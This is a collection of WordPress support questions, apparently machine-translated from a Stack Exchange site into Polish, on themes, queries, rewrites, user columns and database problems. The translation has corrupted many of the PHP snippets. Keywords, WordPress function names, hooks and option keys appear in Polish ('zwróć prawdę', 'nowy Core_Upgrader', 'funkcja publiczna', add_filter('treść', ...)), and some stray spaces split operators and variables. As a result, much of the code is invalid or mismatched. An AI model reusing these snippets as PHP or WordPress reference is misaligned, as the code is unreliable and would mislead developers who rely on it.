text: Narzędzia Google dla webmasterów mogą go zobaczyć, ale nie mogę go znaleźć. Masz pomysł na to, jak jest generowany lub gdzie jest struktura pliku? Nie widzę pliku w moim katalogu głównym. Moja witryna jest pod adresem http://mikewills.me, a adres URL pliku robots.txt to http://mikewills.me/robots.txt. Ostatecznie Google nie indeksuje mojej witryny, a ja próbuję wymyślić, jak edytować plik robots.txt, aby indeksowanie było dozwolone. Zmieniłem opcję prywatności, aby umożliwić indeksowanie, ale to nie zaktualizowało pliku robots.txt.


title: Jak usunąć fragment „komentarzy”, który pojawia się obok lub pod postami?

text: Modyfikuję motyw Seven Five, aby bardziej pasował do moich upodobań i to właśnie mam. To, czego chcę, to usunięcie „komentarzy X” poniżej bitu „Opublikowano”. Jednak po prostu nie mogę znaleźć pliku do zmiany. Próbowałem blog.php i index.php, ale żaden z nich nie jest właściwy. Jakieś sugestie? Przypuszczam, że jest to plik tematyczny, a nie „podstawowy” wordpress, czy się mylę?


title: Jak dodać plik SQL z PHP do bazy danych WordPress

text: Mam plik SQL z kodami pocztowymi USA (ponad 41000 linii kodu). Chcę zrobić wtyczkę, która wstawi ten plik SQL do bazy danych WP, aby użytkownik mógł wyszukiwać według kodów pocztowych. Chcę wstawić SQL z PHP zamiast PhpMyAdmin


title: If post-format == „galeria” warunkowo

text: Pracuję nad tym, aby mój szablon strony głównej wyświetlał „galerię” w formacie post-format trochę inaczej niż inne formaty, ale jak dotąd nie mam szczęścia. Oto fragment „wewnątrz pętli”, który pokazuje, co próbuję osiągnąć. Zasadniczo mówiąc if post-format = 'na bok' do x, elseif post-format to galeria, to chcę pokazać miniaturę, w przeciwnym razie tylko zawartość. <div class="entry"> <?php if ( has_post_format( 'na bok' , $post_id )) { the_excerpt(__('Kontynuuj czytanie →', 'wptumble-fluid')); } elseif ( has_post_format( 'gallery' , $post_id )) { if ( has_post_thumbnail() ) { // użyj miniaturki ("polecany obraz") $thumb_id = get_post_thumbnail_id(); the_post_thumbnail( 'miniaturka' ); } else { $attachments = get_children( array( 'post_parent' => get_the_ID(), 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' = > 'ASC', 'orderby' => 'menu_order ID', 'numberposts' => 1) ); foreach ( $attachments as $thumb_id => $attachment ) echo wp_get_attachment_image($thumb_id, 'thumbnail' ); } } else { if ( $fluidtheme_options['fluid_post_content'] == "treść" ) the_content(__('Kontynuuj czytanie →', 'wptumble-fluid')); w przeciwnym razie fragment_(); } wp_link_pages( $page_link_args ); ?> </div><!-- /.entry --> Część boczna działa, podobnie jak ostatnia opcja, która sprawdza stronę opcji motywu. Jedyne, co nie działa, to moje oświadczenie elseif, w którym chcę, aby pobrał załącznik do posta. Prawdopodobnie po prostu robię źle z moim php, ale to jest najbliższe, co mogę wymyślić. Wciąż w trakcie nauki. Dziękuję


title: Jak dodać zmienną jako bazę tagów?

text: Muszę dodać bazę tagów z nazwą kraju, aby filtrować zawartość na podstawie tej zmiennej. Coś takiego: http://base_url/country/page_name lub http://base_url/country/post_type/post_name Treść byłaby filtrowana według taksonomii przy użyciu zmiennej country.


title: post__in nie zabiera mojej listy identyfikatorów

text: Mam pole niestandardowe na stronie o nazwie `banner_id_list`. Mam niestandardowy typ posta o nazwie „top_banner”. Dodaję kilka banerów, zanotuję identyfikatory, a następnie wracam do strony i dodaję listę identyfikatorów oddzielonych przecinkami w polu niestandardowym `banner_id_list`. W moim szablonie plan polega na sprawdzeniu aktualnej meta postów za pomocą get_post_meta(). Powinno to dać listę identyfikatorów, które mogę następnie wziąć i użyć w get_posts() z `post__in = array()` (zobacz post__in). Przejdźmy teraz do kodu, czegoś tu brakuje, ale jestem w tym trochę nowicjuszem. // pobierz banner_id_list na podstawie meta pola niestandardowego dla tej strony $banner_id_list = get_post_meta($post->ID, 'banner_id_list', true); Jeśli zrzucę, że widzę oczekiwane dane, lista identyfikatorów, które wprowadziłem w polu niestandardowym. Teraz dla mojego zapytania: $args = array( 'post_type' => 'top_banner', 'post_status' => 'publish', 'numberposts' => -1, 'order' => ASC, 'orderby' => menu_order, 'post__in' => array($banner_id_list) ); $banery = get_posts($args); Ale jest tu coś zabawnego w używaniu `$banner_id_list`. To tylko jeden rekord. Ale jeśli ręcznie wprowadzę wartości w miejsce tej zmiennej, to działa poprawnie. Myślę, że brakuje mi czegoś prostego/podstawowego, mam nadzieję, że ktoś może pomóc!


title: Sortowanie pól meta?

text:
Mam nadzieję, że to pytanie nie jest zbyt abstrakcyjne, aby je tutaj zadać, jeśli tak, z góry przepraszam. W moim motywie mam niestandardową stronę opcji motywu, którą ustawiłem, aby kontrolować suwak mojej strony głównej. Zasadniczo jest kilka pól i każde z nich dotyczy określonej ramki z suwakiem obrazu na stronie głównej. Działa dobrze, ale miałem nadzieję znaleźć sposób na zmianę kolejności slajdów, a nie tylko edycję zawartości slajdu. To jest fragment z mojej strony opcji: <input type="text" name="frame1_image" size="85" value="<?php echo get_option('frame1_image'); ?>" /> << Main Image URL
 <input type="tekst" name="ramka1_kciuk" size="85" value="<?php echo get_option('ramka1_kciuk'); ?>" /> << URL miniatury obrazu
 < input type="tekst" nazwa="ramka1_tytuł" size="85" wartość="<?php echo get_option('ramka1_tytuł'); ?>" /> << Tytuł
 <input type="tekst" nazwa ="frame1_link" size="85" value="<?php echo get_option('frame1_link'); ?>" /> << Link
 <input type="text" name="ramka1_category" size=" 85" value="<?php echo get_option('frame1_category'); ?>" /> << Kategoria
 i to jest powtarzane pięć razy, każdy z własnymi zmiennymi dla pól. a to jest kod suwaka:

 <a href="<?php echo get_option('frame1_link'); ?>"> <img src="<?php echo get_option('ramka1_obraz'); ?>" alt="" data-thumb="<?php echo get_option('ramka1_kciuk'); ?>" title="#htmlcaption1"> <a href="<?php echo get_option('frame2_link'); ?>"><img src="<?php echo get_option('frame2_image'); ?>" alt="" data-thumb= "<?php echo get_option('frame2_thumb'); ?>" title="#htmlcaption2"> <a href="<?php echo get_option('frame3_link'); ?>"><img src= "<?php echo get_option('frame3_image'); ?>" alt="" data-thumb="<?php echo get_option('frame3_thumb'); ?>" title="#htmlcaption3"> < a href="<?php echo get_option('frame4_link'); ?>"><img src="<?php echo get_option('frame4_image'); ?>" alt="" data-thumb="<?php echo get_option('ramka4_czw mb'); ?>" title="#htmlcaption4"> <a href="<?php echo get_option('frame5_link'); ?>"><img src="<?php echo get_option('frame5_image'); ?>" alt="" data-kciuk="<?php echo get_option('ramka5_kciuk'); ?>" title="#htmlcaption5">

 <?php echo get_option('frame1_category'); ?>
 <?php echo get_option('frame1_title'); ?>

<?php echo get_option('ramka2_kategoria'); ?>
 <?php echo get_option('ramka2_tytul'); ?>

<?php echo get_option('frame3_category'); ?>
 <?php echo get_option('frame3_title'); ?>

<?php echo get_option('ramka4_kategoria'); ?>
 <?php echo get_option('frame4_title'); ?>

<?php echo get_option('frame5_category'); ?>
 <?php echo get_option('frame5_title'); ?>
 Tak jak powiedziałem, to działa dobrze, aby zastąpić dane w suwaku, ale kiedy chcę zmienić kolejność slajdów, często muszę usunąć każde pole, a następnie ponownie je wprowadzić, nawet jeśli chcę po prostu dodaj nowy slajd z przodu. Myślałem, że może metapole, które ma rozwijany selektor, dla którego numeru slajdu powinien się znaleźć. Tak więc na stronie ustawień mogą znajdować się wszystkie pola dla informacji o slajdzie, a następnie rozwijane menu, które wybiera klatkę. Ale nie jestem pewien, jak bym to zaimplementował. Wszelkie pomysły lub sugestie byłyby bardzo mile widziane! Dziękuję.


title: Zmiana linków do bazy danych nie ma wpływu

text: Więc właśnie przeniosłem moją stronę z localhost (127.0.0.1/wordpress) na serwer. Śledziłem wiele samouczków i udało mi się uruchomić stronę. Strona główna ładuje się, treść jest tam, jednak podstrony i css nie działają/ładują się. (strona główna jest pusta, bez żadnych css). Podobno problem tkwi w bazie danych MySQL. Wielokrotnie próbowałem zastąpić 127.0.0.1/wordpress nazwą mojadomena.com, ale wydaje się, że nic nie działa. Bez względu na to, na co zmienię te wartości, wszystkie linki to mojadomena.com/wordpress. Jakiś pomysł jak to naprawić?


title: Uczynienie typu posta niestandardowego widocznym tylko dla osób niebędących użytkownikami za pośrednictwem określonego linku

text: Pracuję nad stworzeniem małej aplikacji internetowej z wordpressem jako frameworkiem. Umożliwia wprowadzenie klienta, a następnie wysyła e-mail do klienta z linkiem do strony internetowej w celu wypełnienia krótkiej ankiety. Mam niestandardowy typ posta „Klient”, który zawiera pytania ankiety jako pola niestandardowe. Blokuję zawartość i obszary administracyjne itp. za pomocą s2member, który do tej pory działał świetnie. Zależy mi jednak na sposobie, w jaki mogę wyświetlić osobną stronę, na której znajduje się formularz ankiety i wyświetlać go tylko tym, którzy otrzymają link w e-mailu. Może coś z ciasteczkami i htaccess? Przez ostatnie kilka godzin próbowałem znaleźć odpowiedź, ale to trochę przesadzone. Każda pomoc, nawet jeśli tylko pchnięcie we właściwym kierunku, będzie bardzo mile widziane!


title: Jak sprawdzić, czy bieżąca strona jest stroną "aktywności osobistej" w buddypress?

text: Chcę zmodyfikować jakiś ogólny tekst na mojej osobistej stronie aktywności w buddypress. Czy ktoś wie, że istnieje jakiś tag warunkowy, taki jak `is_page('activity')`, aby to sprawdzić? po stronie można nawigować jako > strona profilu użytkownika -> zakładka aktywności Z góry dziękuję :) Vignesh


title: Przepisywanie bazy wyszukiwania i paginacji

text:
Po tygodniach prób znalezienia działającego rozwiązania, pozbyłem się większości moich funkcji i wersji próbnych i po prostu zostawiłem funkcję stronicowania pod spodem w moim pliku functions.phh: /** * Linki stronicowania do wyszukiwania i archiwów */ function get_pagination_links( $type = 'plain', $endsize = 1, $midsize = 1 ) { global $wp_query, $wp_rewrite; $wp_query->query_vars['paged'] > 1 ? $current = $wp_query->query_vars['paged'] : $current = 1; // Oczyść wartości argumentów wejściowych if ( ! in_array( $type, array( 'plain', 'list', 'array' ) ) ) $type = 'plain'; $endsize = (int) $endsize; $średni rozmiar = (int) $średni rozmiar; // Ustaw tablicę argumentów dla paginate_links() $pagination = array( 'base' => @add_query_arg('paged','%#%'), 'total' => $wp_query->max_num_pages, 'current' => $ current, 'show_all' => false, 'end_size' => $endsize, 'mid_size' => $midsize, 'type' => $type, 'prev_next' => false, 'paged' => get_query_var( 'paged' ) ); return paginate_links( $paginacja ); } Mój formularz wyszukiwania wygląda tak: <form class="search-form" action="<?php echo home_url( '/' ); ?>" method="get"> <fieldset>
 <etykieta for="s">Such… <input type="text" name="s" class="s" value="<?php the_search_query(); ?>" />
 <button type="submit" class="search-button">Wybierz</button> </fieldset> </form> **Co chcę zrobić:** Chcę przepisać standardowe `/?s=` na niemieckie słowo `/suche` Więc podczas wyszukiwania "test" chcę, aby mój adres URL wyglądał tak: `www.moja_domena.com/suche/test` (zamiast `/?s= test`) Poza tym chciałbym przepisać również paginację… Tak więc przy wyszukiwaniu hasła „test” i kliknięciu `strona 2` chciałbym, aby adres wyglądał tak… `www.mydomain.com/suche/test /seite/2` Więc w zasadzie chciałbym przepisać `/?s=` na niemieckie słowo `suche` (dla wyszukiwania) I przepisać `&paged=2` na niemieckie `seite` (dla strony) Jak widać, wszystko, co mam teraz w moim kodzie, to powyższa funkcja stronicowania, ponieważ usunąłem wszystkie inne próby - nie mogłem tego zrobić. Jakieś sprytne pomysły na to? Używam najnowszej wersji wordpress i chciałbym znaleźć rozwiązanie oparte na filtrach. Nie chcę, aby jakikolwiek JS wchodził w interakcję z formularzem wyszukiwania. Z góry dziękuję


title: Uruchamianie WP_Upgrader przez Cron

text: Napisałem kod, który aktualizuje core po uruchomieniu strony. Wszystko działa, gdy używam kodu przez admin hook `admin_init`, ale nie działa (błąd krytyczny), gdy dodaję go do funkcji crona lub uruchamiam przez dowolny frontend hook `init` lub `template_redirect` itp. Próbowałem więc wymagają pliku `class-wp-upgrader.php`. add_action('init', 'kit_wp_auto_update'); // nie działa // add_action('admin_init', 'kit_wp_auto_update'); // działa funkcja kit_do_update(){ require_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' ' ); fb('kit_do_update'); $core_transient = get_site_transient( 'update_core' ); fb($rdzeń_przejściowy); $aktualizacje = $core_transient->aktualizacje; $bieżąca = $aktualizacje[0]; if( !empty( $core ) && $current->response == 'upgrade' ){ $skin = new Kit_Upgrader_Skin(); $upgrader = nowy Core_Upgrader($skin); $wynik = $upgrader->aktualizacja($bieżący); if ( is_wp_error ( $ wynik ) ) { return $ wynik; }inny{ zwróć prawdę; } } } Ale wciąż otrzymuje jakąś niezdefiniowaną funkcję. Błąd krytyczny: wywołanie niezdefiniowanej funkcji request_filesystem_credentials() w /home4/sisir/public_html/_sites/wpkitten.com/site/wp-admin/includes/class-wp-upgrader.php w wierszu 1113 **Pytania:** 1. `request_filesystem_credentials()` jest zdefiniowany wewnątrz pliku, więc **Nie rozumiem, dlaczego jest niezdefiniowany.** 2. Innym z moich zmartwień jest to, czy spróbuję uruchomić funkcję za pomocą crona. Oznacza to, że odwiedzający (wylogowany) może wywołać aktualizację. Ponieważ proces aktualizacji obejmuje procesy systemu plików (odczyt/zapis). **Czy wordpress będzie mieć wystarczające uprawnienia, aby dokonać aktualizacji?**


title: Jak zmienić wysokość wyróżnionego obrazu w motywie potomnym Twenty Eleven?

text: Próbuję zmienić wysokość mojego wyróżnionego obrazu na 350 pikseli w moim motywie potomnym dla Twenty Eleven. Czy ktoś może pomóc?? Uwaga: używam Twenty Eleven i nie ma pliku functions.php w moim motywie potomnym, ponieważ plik functions.php motywu nadrzędnego jest dołączany po pliku functions.php motywu potomnego. Tworząc motyw potomny, nie kopiujesz pliku functions.php z motywu nadrzędnego. Jedyne pliki, które mam w motywie potomnym to style.css, header.css i footer.css. Nie dodałem jeszcze żadnego kodu do zmiany wysokości polecanego obrazu, ponieważ nie wiem, co wpisać - z chęcią pomogę.


title: Skrócony kod mapy Google dla niestandardowej taksonomii/typów postów

text: Wzywamy wszystkich WP Stack Exchangers! Obecnie używam wtyczki Google Map Shortcode Alaina Gonzalesa na stronie, którą tworzę, i działa dobrze: Wtyczka Google Map Shortcode na wordpress.org Niedawno dodałem niestandardowy typ posta (nazywany „hotelami” ) do witryny i utworzono dwie nowe taksonomie niestandardowe do użycia w tym miejscu („miasta” i „regiony”). Chciałbym użyć wtyczki, o której mowa powyżej, do wyświetlania punktów na mapie dla postów, które używają taksonomii CPT/niestandardowych, i jak dotąd pozwoli mi to dodać kwestionowane punkty, ale nie wypluwa ich prawidłowo na odpowiednie plik szablonu motywu — pokazuje tylko pierwszy post w ramach taksonomii, ale nie pozostałe. W pliku wtyczki znajduje się ta linia: $post_obj = get_posts(array('category__in'=>$categories,'numberposts'=>-1)); Służy do wysyłania zapytań o posty w ramach kategorii i drukowania powiązanych z nimi punktów na mapie; oczywiście problem polega na tym, że ponieważ niestandardowe taksonomie nie są „tradycyjnymi” kategoriami, nie do końca z nimi działa :( Czy ktoś z was może pomyśleć o tym, jak mogę poprawnie przeszukiwać taksonomie, aby uzyskać punkty z każdego postu Jak zawsze, każda pomoc zostanie przyjęta z wdzięcznością!


title: zmień nazwę indeksu lub strony głównej

text: Próbowałem wszystkiego, ale nie mogę zmusić tego do pracy tak, jak bym chciał, więc mam nadzieję, że możesz mi pomóc. Sytuacja. Mam 2 strony wordpress, działające na różnych hostach, tylko link to linki 'komercyjne'. są tak ustawione. url.com/wp to mój katalog wordpress, z moim indeksem w katalogu głównym. odnosząc się. Więc mam ładny url url.com/kontakt itp. Teraz mam prostą stronę html, która musi być selektorem. Gdy przejdziesz do url.com i url2.com, zobaczysz ten index.html, który prowadzi do url.com i url2.com. więc każda strona główna z url , użytkownik może wybrać, aby przejść do url 1 lub 2. Nie mogę zmienić mojego pierwszego pliku hostingu, aby przejść do, aby wziąć index.htm przed index.php z wordpress. .htacces przy użyciu DirectoryIndex również nie załatwił sprawy. Więc chciałbym zmienić nazwę mojego index.php z wordpress na coś innego. Ale potem to się po prostu zepsuło... Mam nadzieję, że jestem wystarczająco jasny. To „prosty” problem, ale dość trudny do wytłumaczenia dla mnie. Mam nadzieję, że możesz mi pomóc.


title: Trwale usuń pierwszy obraz z postów

text: Mam około 2500 postów na mojej stronie, w których wstawiłem obrazy przy użyciu tradycyjnej metody do samej treści posta. Podczas aktualizacji do innego motywu strona z pojedynczym postem wyświetla teraz polecany obraz również przed tytułem (który chcę zachować), ale teraz chciałbym usunąć pierwszy obraz z the_content, aby zapobiec wyświetlaniu zduplikowanych obrazów. Wiem, że można to zrobić za pomocą tego filtra, ale czy jest sposób, aby _trwale_ usunąć pierwsze obrazy z moich starych postów poza ręcznym przeglądaniem każdego z nich? function remove_first_image ($content) { if (!is_page() && !is_feed() && !is_feed() && !is_home()) { $content = preg_replace("/<img[^>]+\>/i", "", $treść, 1); } return $treść; } add_filter('treść', 'usuń_pierwszy_obraz'); Czuję, że ten filtr może wymagać dużych zasobów i być bardzo nieelastyczny dla rzeczy, które mógłbym chcieć robić w przyszłości w postach. Inny wątek wspomniał: „Eksportuj tabele bazy danych na pulpit. Dzięki temu możesz usunąć wszystkie niechciane tagi za pomocą dowolnego edytora tekstu, takiego jak notepad ++”. ale nie wiem, jak to zrobić. Każda pomoc jest mile widziana. Dziękuję


title: Szablon dla zwykłych postów (bez niestandardowych typów postów)

text: Mam dylemat z czymś, co powinno być bardzo proste. Nie mam niestandardowych typów postów. Tylko posty stałych bywalców. Właśnie utworzyłem post z kategorią o nazwie „wiadomości”. Oficjalna dokumentacja mówi, że zdefiniowanie szablonu dla tej kategorii powinno być tak proste, jak utworzenie pliku `category-news.php` wewnątrz motywu. Jednak nie działa, nadal używa pliku `single.php`. Co ja robię źle?


title: Usuń numer w adresie URL

text: Próbuję użyć WordPressa do stworzenia strony internetowej. Utworzyłem stronę „Kontakt”, ale z jakiegoś powodu się nie pojawiła. WordPress ciągle powtarzał, że nie może go znaleźć. Więc usunąłem go i stworzyłem nowy o tej samej nazwie, "Kontakt". Teraz strona Kontakt działa, ale w adresie URL ma `-2`. Chcę, aby było napisane „http://www.dragonavionics.com/contact/” zamiast „http://www.dragonavionics.com/contact-2/” Jak to zrobić?


title: Link do indeksu bloga z szablonu

text: Nie mogę uwierzyć, że nie znalazłem odpowiedniej funkcji do tego: chcę tylko pobrać adres URL indeksu bloga z szablonu. Moja strona główna jest stroną statyczną. Nie szukam bloginfo('url'), ponieważ daje mi mój główny adres URL (/). Szukam mysite.com/Blog Myślę o zdobyciu go przez get_permalink($mypageid), ale jest trochę brudny.


title: Wyklucz użytkowników o określonej roli na stronie użytkowników

text: class MyPlugin { funkcja publiczna __construct() { add_action('init', array(&$this, 'do_member_filter')); } public function do_member_filter() { $users = new WP_User_Query( array( 'meta_query' => array( 'key' => "{$GLOBALS['wpdb']->prefix}capabilities", 'value' => 'abcrole', 'porównaj' => '!=' ) ) )); do_action_ref_array('pre_user_query', $users); } }


title: Niestandardowe style załączników w widoku posta

text: Szukam łatwej listy stylizacji załączników .doc w poście. Na przykład chcę umieścić każdy w znacznikach `<li></li>` i nadać mu odpowiednią stylizację. Jak dotąd otrzymuję treść mojego posta w ten sposób: <?php query_posts('cat=13'); while (have_posts()) : the_post(); Zawartość(); koniec; ?>


title: Używając Jigoshop, jak mogę dodać niestandardowy typ postu do koszyka za pomocą kodu?

text: Chcę programowo dodać element do koszyka, a ten element nie jest produktem. Jest to niestandardowy typ posta, który tworzę. Myślę, że idę we właściwym kierunku, używając klasy koszyka Jigoshop. Znalezione w folderze jigoshop pod class/jigoshop_cart.class.php. Problem w tym, że nie wiem dokładnie, jak podpiąć do niego coś, co nie jest produktem. Pomyślałem, że może ktoś może wskazać mi właściwy kierunek. Z góry dziękuję!


title: Dlaczego moje WP_Query nie działa, gdy terminy tax_query są tablicą?

text: Mam problem z WP_Query dla witryny, którą tworzę, co mnie zatkało. Działa to zgodnie z oczekiwaniami: $package_args = array( 'post_type' => 'vamos-cpt-packages', 'tax_query' => array( 'taxonomy' => 'vamos-holiday-types', 'field' => 'slug ', 'terms' => 'zajęcia-wakacje' ) ); $pakiety = nowe WP_Query($package_args); var_dump($pakiety); Ale gdy terminy są tablicą: $package_args = array( 'post_type' => 'vamos-cpt-packages', 'tax_query' => array( 'taxonomy' => 'vamos-holiday-types', 'field' = > 'slug', 'terms' => array('aktywność-wakacje') ) ); $pakiety = nowe WP_Query($package_args); var_dump($pakiety); Nie! Nie otrzymuję zwróconych postów. Czy ktoś może to wyjaśnić? Pozdrawiam Kevin


title: W jaki sposób WordPress informuje, który post pochodzi z której witryny w konfiguracji wielostanowiskowej?

text: Zdaję sobie sprawę, że WordPress przechowuje całą zawartość postów z wielu witryn w tej samej tabeli bazy danych i zastanawiałem się, jak wewnętrznie rozróżnia zawartość postów z jednego bloga na drugi?


title: Która wersja PHP-FPM jest niezbędna do pracy z WP 3.5?

text: Próbuję założyć bloga z NGINX i PHP-FPM. Zastanawiam się, czy moja wersja PHP powinna działać z WordPress /usr/bin/php-cgi -v PHP Ostrzeżenie: Uruchomienie PHP: magickwand: Nie można zainicjować modułu PHP 5.2.17 (cgi-fcgi) (zbudowany: 17 września 2012 00: 15:25) Prawa autorskie (c) 1997-2009 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies with eAccelerator v0.9.6.1, Copyright (c) 2004-2010 eAccelerator, by eAccelerator`


title: Warunki: co jest nie tak z moimi instrukcjami if/else?

text: <?php if( $settings['logo']) : ?> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( ' name', 'display' ) ); ?>" rel="home"><img src="<?php echo $settings['logo']; ?>"/> <?php else if ( $settings['logo_option'] == 'obraz' && !$settings['logo'] ): ?> <a href="<?php echo esc_url( home_url( '/') ); ?>" title=" <?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><img src="<?php bloginfo('template_directory');?>/images/logo.png "/> <?php else if( $settings['logo_option'] == 'text' && !$settings['logo'] ) : ?> <a href="<?php echo esc_url( home_url ( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?> <?php else : ?> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'nazwa', 'wyświetlanie' ) ); ?>" rel="home"><?php bloginfo( 'nazwa' ); ?> <?php endif; ?>


title: Zastąpić #site-title obrazem o zmiennym rozmiarze w Twenty Twelve?

text: Całe popołudnie męczyłem się z tym. Udało mi się zastąpić #site-title obrazem używającym CSS i wygląda dobrze podczas przeglądania na pulpicie, ale chciałbym, aby cała strona była responsywna (w końcu używam dwudziestu dwunastu!). Chodzi o to, że aby zastąpić #site-title w CSS, musisz zastosować stałe wymiary. Użycie „100%”, „auto” itp. po prostu całkowicie usuwa obraz ze strony. Próbowałem też dodać "width: 100%;" na #stronę, jest rodzicem, bezskutecznie. Jakieś pomysły?.


title: Wordpress DB: tabela opcji –> 32 kompresja gzip?

text: Zastanawiałem się tylko, do czego odnosi się ten wiersz w bazie danych Wordpress? 32 gzipcompression 0 Natknąłem się na to w tabeli opcji WP. Co jeśli ustawię wartość na „1”. Mam już włączoną kompresję gzip przez htaccess, więc po prostu zastanawiałem się, co to jest? Dziękuję za Twoją odpowiedź.


title: Wyłączyć archiwa, wyniki wyszukiwania, komentarze itp.?

text: Pracuję na stronie, która zawiera tylko artykuły tekstowe i nie korzystam z komentarzy, archiwów, trackbacków i innych funkcji. **Jak mogę sprawić, by te strony wyświetlały błąd 404 nie znaleziono?** Nie zamieszczam linków do tych stron z mojego motywu, ale zdarzyło mi się w przeszłości indeksować zduplikowane treści ze stron archiwów przez Google. _Aby było bardziej jasne, moja witryna to tylko strona główna z listą artykułów (postów), posty nie mają komentarzy ani niczego, tylko tekst._


title: Taksonomie niestandardowe błędnie liczą poprawki?

text: _( **Uwaga moderatora:** Pierwotny tytuł brzmiał: „Liczba mojej niestandardowej taksonomii jest nieprawidłowa; liczy poprawki”)_ Czy ktoś wcześniej na to natknął się? Dodałem dwie niestandardowe taksonomie, a kolumna `count` tabeli `wp_term_taxonomy` jest ustawiona nieprawidłowo. Wygląda na to, że oprócz opublikowanego posta zlicza poprawki. Pogrzebałem w rdzeniu WordPressa, ale to ogromna bestia i szczerze mówiąc ledwo wiem, od czego zacząć szukać, co aktualizuje „liczbę” dla tego stołu.


title: Uszkodzona baza danych Wordpress

text: Najdziwniejszy problem z Wordpressem, jaki kiedykolwiek myślę. Witryna klienta z dużą bazą postów ma swój własny umysł. W jednej chwili wszystko wydaje się w porządku, brakuje kolejnych postów, kategorii i tagów. W tej chwili pulpit nawigacyjny mówi mi, że jest 2309 postów w 9 kategoriach, ale kiedy klikam link kategorii w admin, nie ma żadnego na liście. Widzę wszystkie posty w admin, ale podczas gdy były one przypisane do kategorii i miały wymienione tagi, wszystkie są teraz „Bez kategorii” z „Bez tagów”. Oczywiście baza danych Wordpress jest w jakiś sposób uszkodzona, ale od czego zacząć, aby spróbować to naprawić!? Oto co testowałem do tej pory: Wtyczki – wyłączyłem wszystkie obecne wtyczki. Motyw – wypróbowałem inny motyw/szablon. Wordpress Core – ponownie wrzuciłem najnowszą wersję wordpressa. Aktualizacje – zaktualizowałem wszystkie wtyczki i rdzeń wordpress. Napraw bazę danych - sprawdziłem i próbowałem naprawić bazę danych w Cpanel, ale upłynął limit czasu. Pomoc!?


title: Uszkodzony adres URL obrazu

text: Wygląda na to, że mam problem z uszkodzonymi linkami URL w postach zawierających obrazy. Jeśli klikniesz na obrazek z postu, zobaczysz adres URL, ale jeśli spróbujesz go następnie skopiować i wkleić, pokaże się on jako uszkodzony link. Oto strona testowa, którą stworzyłem, aby spróbować to rozgryźć: http://www.sixteeneighteen.co.uk/2013/04/work/ Jeśli klikniesz na obrazek, wyświetli się adres URL jako http:// www.sixteeneighteen.co.uk/wp-content/uploads/2013/04/remove01.jpg ale jeśli następnie spróbujesz odświeżyć tę stronę lub skopiuj i wklej link, nie pokaże się, że gram z uprawnieniami do plików i to wydaje się nic nie robić są ustawione na 755 Szukałem wszędzie w Internecie czegoś podobnego, ale nie mogę znaleźć żadnych odpowiedzi, każda pomoc byłaby bardzo mile widziana. Wielkie dzięki


title: Sortowalne kolumny niestandardowe w panelu użytkownika (users.php)?

text: Korzystam z wtyczki Register Plus Redux, aby rozszerzyć formularz rejestracyjny o niestandardowe pola metadanych. Te pola są wyświetlane na dole każdej strony szczegółów rekordu użytkownika i można je pobrać za pomocą get_the_author_meta. Dodatkowo mogę tworzyć kolumny w panelu użytkownika (widok listy) i sortować te kolumny. Problem polega na tym, że po kliknięciu nagłówka kolumny niestandardowej wartość orderby= w adresie URL wydaje się być ignorowana. Innymi słowy, wygląda na to, że zapytanie generujące widok listy użytkowników nie zawiera niestandardowych metadanych (np. może wymaga wyrażenia join, jeśli metadane nie znajdują się w zwykłym miejscu dla danych użytkownika?). Wydaje mi się, że przegapiłem krok. Oto mój kod do tworzenia niestandardowych kolumn: //dodaj kolumny do strony z listą panelu użytkownika funkcja add_user_columns( $defaults ) { $defaults['company'] = __('Company', 'user-column'); $defaults['tytuł'] = __('Tytuł', 'kolumna-użytkownika'); zwróć $domyślne; } function add_custom_user_columns($value, $column_name, $id) { if( $column_name == 'firma' ) { return get_the_author_meta( 'company_name', $id ); } if( $column_name == 'title' ) { return get_the_author_meta( 'titlefunction', $id ); } } add_action('manage_users_custom_column', 'add_custom_user_columns', 15, 3); add_filter('manage_users_columns', 'add_user_columns', 15, 1);` A oto mój kod do sortowania tych kolumn: function user_sortable_columns( $columns ) { $columns['company'] = 'Firma'; return $kolumny; } add_filter( 'manage_users_sortable_columns', 'user_sortable_columns' ); function user_column_orderby( $vars ) { if ( isset( $vars['orderby'] ) && 'firma' == $vars['orderby'] ) { $vars = array_merge( $vars, array( 'meta_key' => ' firma', 'orderby' => 'meta_value', 'order' => 'asc' ) ); } return $vars; } add_filter( 'request', 'user_column_orderby' );` Jakieś pomysły, jak zaktualizować zapytanie, które generuje listę użytkowników, aby zawierała sortowanie według moich niestandardowych pól? Lub, jeśli to nie problem, jak sprawić, by niestandardowe nagłówki kolumn sortowały listę użytkowników po kliknięciu? Dziękuję Ci.


title: Czy używam od podstaw niestandardowych typów postów lub tabel mySQL?

text: Piszę wtyczkę, aby osiągnąć następujące cele 1) Aby utworzyć jeden lub więcej portfeli 2) Każdy portfel będzie miał swoje własne pola danych meta i opcję kategoryzacji podobną do funkcji kategorii Wordpress 3) Każde portfolio może być następnie wyświetlane za pomocą krótkiego -kod na stronie Ponieważ jest to moja pierwsza pasja do tworzenia wtyczek, zastanawiam się, czy nie byłoby lepiej zacząć od niestandardowych typów postów, czy zacząć używać niestandardowych tabel od samego początku AKTUALIZACJA: Po radzie Pata zdecydowałem się na niestandardowy post typy. Chciałbym wiedzieć, czy poniższa struktura jest możliwa dzięki niestandardowym typom postów. Biblioteka #1 > recenzja książki 1, recenzja książki 2, recenzja książki 3 Biblioteka #2 > recenzja wideo 1, recenzja wideo 2, recenzja wideo 3 Biblioteka #3 Biblioteka #4 itd... Każda biblioteka będzie miała do 10 niestandardowych pól z etykiety specyficzne dla zawartości każdej biblioteki (np. adres URL dla filmów i numer strony dla książek), ale nie więcej niż 10. W każdej z bibliotek będzie możliwość tworzenia jednego lub więcej rekordów (np. Książki lub linki do filmów)


title: Podłączasz się do strony archiwum?

